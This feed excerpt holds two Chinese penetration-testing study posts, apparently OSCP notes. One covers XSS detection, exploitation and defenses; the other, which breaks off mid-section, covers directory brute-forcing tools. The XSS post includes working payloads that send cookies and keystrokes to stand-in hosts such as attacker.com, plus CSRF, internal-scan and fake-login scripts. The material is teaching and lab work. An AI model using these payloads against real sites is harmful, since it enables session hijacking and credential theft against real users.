 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;类型&lt;/th&gt;
 &lt;th&gt;特征&lt;/th&gt;
 &lt;th&gt;常见场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;存储型XSS&lt;/td&gt;
 &lt;td&gt;攻击载荷持久化存储在服务器（数据库/缓存）&lt;/td&gt;
 &lt;td&gt;论坛评论、产品评价&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;反射型XSS&lt;/td&gt;
 &lt;td&gt;恶意代码通过URL参数动态返回给用户&lt;/td&gt;
 &lt;td&gt;搜索结果页、错误消息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;基于DOM型XSS&lt;/td&gt;
 &lt;td&gt;攻击发生在浏览器DOM解析层（不与服务端交互）&lt;/td&gt;
 &lt;td&gt;客户端数据处理逻辑漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="漏洞检测方法"&gt;​&lt;strong&gt;​漏洞检测方法​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​定位入口点​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;寻找接受用户输入并回显的字段（如搜索框、反馈表单）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​注入测试字符​&lt;/strong&gt;​&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt; &amp;gt; &amp;#39; &amp;#34; { } ; // HTML/JavaScript特殊字符
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;检查输出：若字符未被编码（如&lt;code&gt;&amp;lt;&lt;/code&gt;未转为&lt;code&gt;&amp;amp;lt;&lt;/code&gt;），则存在风险
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175138878.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175200438.png"&gt;
如图，输入的恶意字符原模原样的输出，说明没有过滤和转义这些字符。
完整的练习可以通过[[xss-labs 靶场 WP|xss-labs]] 靶场练习。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="xss利用技术实战"&gt;​&lt;strong&gt;​XSS利用技术实战​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="基础攻击示例"&gt;​&lt;strong&gt;​基础攻击示例​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;#39;XSS&amp;#39;)&amp;lt;/script&amp;gt; // 触发弹窗验证漏洞
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175101253.png"&gt;
第二关就转义了这些恶意字符，所以直接输的话是弹不了的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175902190.png"&gt;
还可以加上Burp抓包用字典遍历所有的XSS
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250819214525017.png"&gt;&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​攻击流程​&lt;/strong&gt;​：&lt;br&gt;
&lt;code&gt;提交恶意反馈 → 存储至数据库 → 管理员查看页面 → 触发攻击&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="进阶利用会话劫持"&gt;​&lt;strong&gt;​进阶利用：会话劫持​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​窃取Cookie原理​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;绕过&lt;code&gt;HttpOnly&lt;/code&gt;标志：通过XSS直接读取&lt;code&gt;document.cookie&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt; 
 new Image().src=&amp;#34;http://attacker-ip/?cookie=&amp;#34; + document.cookie;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​劫持管理员会话​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ul&gt;
&lt;li&gt;诱使管理员访问含恶意脚本页面&lt;/li&gt;
&lt;li&gt;脚本将Cookie发送至攻击者服务器&lt;/li&gt;
&lt;li&gt;攻击者使用盗取的&lt;code&gt;PHPSESSID&lt;/code&gt;伪装管理员&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御措施"&gt;​&lt;strong&gt;​防御措施​&lt;/strong&gt;​
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;防御层面&lt;/th&gt;
 &lt;th&gt;具体措施&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​输入消毒​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;提交时过滤&lt;code&gt;&amp;lt; &amp;gt; ' &amp;quot;&lt;/code&gt;等危险字符&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​输出编码​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;显示时强制转义（如PHP的&lt;code&gt;htmlspecialchars()&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​安全标记​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;设置Cookie的&lt;code&gt;HttpOnly&lt;/code&gt;和&lt;code&gt;Secure&lt;/code&gt;属性&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​内容安全策略​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;配置CSP头限制脚本来源（如&lt;code&gt;Content-Security-Policy: script-src 'self'&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="技术关键点解析"&gt;​&lt;strong&gt;​技术关键点解析​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​漏洞本质​&lt;/strong&gt;​&lt;br&gt;
​&lt;strong&gt;​客户端攻击​&lt;/strong&gt;​：浏览器执行恶意脚本而非服务端，但可导致服务端权限沦陷&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​跨域限制绕过​&lt;/strong&gt;​&lt;br&gt;
通过注入&lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;或&lt;code&gt;Image&lt;/code&gt;对象将数据外带至攻击者服务器&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!-- 隐藏iframe外传数据 --&amp;gt;
&amp;lt;iframe src=&amp;#34;http://attacker-ip&amp;#34; style=&amp;#34;display:none&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​自动化攻击验证​&lt;/strong&gt;​&lt;br&gt;
使用PowerShell脚本模拟管理员行为：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# admin_login.ps1
$ie = New-Object -com InternetExplorer.Application
$ie.Visible = $true
$ie.Navigate(&amp;#34;http://vuln-site/login.php&amp;#34;)
# 自动填写凭证并提交...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="9425-练习"&gt;9.4.2.5 练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用示例应用程序中的XSS漏洞获取管理cookie并劫持会话。切记在Windows 10实验室计算机上 使用PowerShell脚本模拟管理员登录。&lt;/li&gt;
&lt;li&gt;考虑使用此应用程序中的XSS漏洞进行攻击的其他方式。&lt;/li&gt;
&lt;li&gt;此漏洞会攻击站点的服务器还是客户端？&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="1-利用xss漏洞获取管理员cookie并劫持会话的步骤"&gt;​&lt;strong&gt;​1. 利用XSS漏洞获取管理员Cookie并劫持会话的步骤​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​攻击流程如下（需在Windows 10实验环境中配合PowerShell模拟管理员登录）：​&lt;/strong&gt;​&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​注入恶意Payload​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在存在XSS漏洞的输入点（如评论框、URL参数）注入以下脚本：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt;
 var img = new Image();
 img.src = &amp;#39;http://attacker.com/steal?cookie=&amp;#39; + encodeURIComponent(document.cookie);
 img.style.display = &amp;#39;none&amp;#39;;
 document.body.appendChild(img);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此脚本会悄无声息地将当前用户的Cookie发送至攻击者控制的服务器（&lt;code&gt;attacker.com&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​诱导管理员触发漏洞​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若为反射型XSS，构造含恶意脚本的URL，通过社工手段诱使管理员点击（例如伪装成站内通知链接）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若为存储型XSS，直接将Payload提交至数据库（如论坛发帖），等待管理员浏览页面自动触发。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​捕获Cookie并劫持会话​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;攻击者从服务器日志提取Cookie中的会话ID（如&lt;code&gt;PHPSESSID=abc123&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用浏览器开发者工具或插件（如EditThisCookie）将Cookie植入自身浏览器，访问后台路径（如&lt;code&gt;/admin&lt;/code&gt;）即可伪装管理员身份。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​PowerShell模拟管理员登录（实验环境）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;编写脚本自动发送含窃取Cookie的请求：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Invoke-WebRequest -Uri &amp;#34;http://vulnerable-site.com/login&amp;#34; -Method Post -Body @{username=&amp;#34;admin&amp;#34;; password=&amp;#34;P@ssw0rd&amp;#34;} 
# 后续请求携带窃取的Cookie访问后台
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此步骤用于验证会话劫持可行性，无需实际破解密码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-xss漏洞的其他攻击利用方式"&gt;​&lt;strong&gt;​2. XSS漏洞的其他攻击利用方式​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;除会话劫持外，XSS漏洞可扩展为以下攻击：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​键盘记录与数据窃取​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;注入脚本捕获用户键盘输入（如账号密码），通过&lt;code&gt;Beacon API&lt;/code&gt;发送至攻击者服务器：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;document.addEventListener(&amp;#39;keydown&amp;#39;, e =&amp;gt; navigator.sendBeacon(&amp;#39;http://attacker.com/log&amp;#39;, e.key));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可窃取表单内容、LocalStorage数据（如用户令牌）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​组合CSRF攻击​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;利用XSS绕过CSRF防护，以内联脚本伪造敏感操作（如修改密码）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;fetch(&amp;#39;/account/change_email&amp;#39;, {method: &amp;#39;POST&amp;#39;, body: &amp;#39;email=attacker@example.com&amp;#39;});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;无需用户交互即可接管账户。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​内网探测与反向代理​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;通过恶意脚本扫描内网资源，将结果回传：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;for (let i=1; i&amp;lt;255; i++) fetch(`http://192.168.1.${i}`, {mode: &amp;#39;no-cors&amp;#39;}) 
 .then(() =&amp;gt; sendToAttacker(`192.168.1.${i}_active`));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;用于定位未公开的后台或漏洞设备。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​持久化水坑攻击​&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;篡改页面内容（如添加伪造登录弹窗），诱骗用户输入凭证：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;div id=&amp;#34;fakeLogin&amp;#34; style=&amp;#34;position:fixed; top:0; background:white;&amp;#34;&amp;gt; 
 &amp;lt;input type=&amp;#34;text&amp;#34; id=&amp;#34;username&amp;#34; placeholder=&amp;#34;Username&amp;#34;&amp;gt; 
 &amp;lt;input type=&amp;#34;password&amp;#34; id=&amp;#34;password&amp;#34; placeholder=&amp;#34;Password&amp;#34;&amp;gt; 
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;结合事件监听窃取输入数据。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-xss漏洞的攻击目标客户端而非服务器"&gt;​&lt;strong&gt;​3. XSS漏洞的攻击目标：客户端而非服务器​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​关键结论​&lt;/strong&gt;​：XSS攻击对象是​&lt;strong&gt;​客户端（用户浏览器）​&lt;/strong&gt;​，而非服务器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​原理​&lt;/strong&gt;​：&lt;/p&gt;
&lt;p&gt;XSS本质是恶意脚本在用户浏览器执行，利用的是网站对用户输入的​&lt;strong&gt;​输出编码缺失​&lt;/strong&gt;​或​&lt;strong&gt;​DOM处理不当​&lt;/strong&gt;​。服务器仅存储或反射脚本，自身代码不被破坏。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​间接影响服务器场景​&lt;/strong&gt;​：&lt;/p&gt;
&lt;p&gt;若受害者是管理员，攻击者可能通过劫持其会话：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;上传Webshell控制服务器；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;窃取数据库凭据或敏感文件；&lt;/p&gt;
&lt;p&gt;但此过程仍以客户端为跳板，非直接攻击服务端代码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="防御措施关键点"&gt;​&lt;strong&gt;​防御措施关键点​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​输入输出处理​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;输入层：白名单过滤（如仅允许字母数字）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输出层：对动态内容HTML编码（如&lt;code&gt;&amp;lt;&lt;/code&gt;转义为&lt;code&gt;&amp;amp;lt;&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​安全Header配置​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Content-Security-Policy: script-src 'self'&lt;/code&gt;禁止外部脚本。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Set-Cookie: sessionId=xxx; HttpOnly; Secure&lt;/code&gt;阻止JS访问Cookie。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​现代框架防护​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;React/Vue默认转义插值内容，避免&lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;滥用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day24 Web程序漏洞测试工具</title><link>https://ruajingjing.top/post/day24-web%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/</link><pubDate>Mon, 28 Jul 2025 15:31:31 +0000</pubDate><guid>https://ruajingjing.top/post/day24-web%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day24 Web程序漏洞测试工具" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="web程序漏洞测试工具"&gt;Web程序漏洞测试工具
&lt;/h2&gt;&lt;p&gt;在完成对Web应用的人工全面勘察后，我们应当借助&lt;strong&gt;Web应用评估工具&lt;/strong&gt;进一步挖掘目标信息。
Kali系统默认集成了多种此类工具，可高效探测并利用Web漏洞。本节将介绍部分关键工具（含简易浏览器扩展），后续章节则将聚焦​&lt;strong&gt;​手动漏洞枚举与利用技术​&lt;/strong&gt;​。&lt;/p&gt;
&lt;p&gt;自动化工具虽能提升渗透测试效率，但&lt;strong&gt;手动利用能力&lt;/strong&gt;始终是核心基础：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;场景适应性&lt;/strong&gt;：特殊环境中工具不可用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精准控制&lt;/strong&gt;：自定义攻击载荷绕过防护&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深度突破&lt;/strong&gt;：工具无法覆盖的逻辑漏洞&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;终极法则&lt;/strong&gt;：工具自动化使工作更轻松，但无法完全替代人的作用。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[人工勘察] --&gt; B[工具辅助]
B --&gt; C{攻防双路径}
C --&gt; D[自动化扫描] --&gt; D1[高效覆盖]
C --&gt; E[手动渗透] --&gt; E1[绕过防护] 
E1 --&gt; E2[精准打击]
E2 --&gt; F[漏洞深度利用]&lt;/pre&gt;&lt;h3 id="目录遍历"&gt;目录遍历
&lt;/h3&gt;&lt;p&gt;使用如下形式枚举网站的目录，也叫目录遍历。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://www.megacorpone.com -r -z &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725175829632" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725175829632.png"&gt;&lt;/p&gt;
&lt;h4 id="-目录爆破工具全景图"&gt;🔍 &lt;strong&gt;目录爆破工具全景图&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;工具&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;语言&lt;/th&gt;
 &lt;th&gt;核心优势&lt;/th&gt;
 &lt;th&gt;典型场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;DirB&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;C&lt;/td&gt;
 &lt;td&gt;轻量级/递归扫描&lt;/td&gt;
 &lt;td&gt;内网快速探测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;GoBuster&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Go&lt;/td&gt;
 &lt;td&gt;多线程/支持DNS/S3桶&lt;/td&gt;
 &lt;td&gt;云环境资产发现&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;DirSearch&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Python&lt;/td&gt;
 &lt;td&gt;智能字典/结果过滤&lt;/td&gt;
 &lt;td&gt;精确路径爆破&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;FFUF&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Go&lt;/td&gt;
 &lt;td&gt;速度最快(20000+ req/s)&lt;/td&gt;
 &lt;td&gt;大规模目标扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;FeroxBuster&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Rust&lt;/td&gt;
 &lt;td&gt;自动递归/动态超时&lt;/td&gt;
 &lt;td&gt;深度路径挖掘&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-高级用法实战手册"&gt;⚙️ &lt;strong&gt;高级用法实战手册&lt;/strong&gt;
&lt;/h4&gt;&lt;h5 id="1-dirb---内网渗透利器"&gt;&lt;strong&gt;1. DirB - 内网渗透利器&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 递归扫描3级目录（避开图片/css/js）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com /usr/share/wordlists/dirb/common.txt -r -l &lt;span class="m"&gt;3&lt;/span&gt; -X .jpg,.css,.js
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 代理链扫描（通过BurpSuite）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com -p http://127.0.0.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自定义HTTP头（绕过基础WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com -H &lt;span class="s2"&gt;&amp;#34;X-Forwarded-For: 192.168.1.1&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Googlebot&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="2-gobuster---云环境克星"&gt;&lt;strong&gt;2. GoBuster - 云环境克星&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多扩展名扫描（ASP/PHP/JSP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://target.com -w /path/to/wordlist.txt -x asp,php,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://www.megacorpone.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,php,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# AWS S3桶爆破（需AK/SK）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;gobuster s3 -k -w bucket-names.txt -t &lt;span class="m"&gt;50&lt;/span&gt; -s 200,301
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# VHost虚拟主机发现&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;gobuster vhost -u http://target.com -w subdomains.txt -t &lt;span class="m"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180245177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180245177.png"&gt;&lt;/p&gt;
&lt;h5 id="3-dirsearch---精确打击专家"&gt;&lt;strong&gt;3. DirSearch - 精确打击专家&lt;/strong&gt;
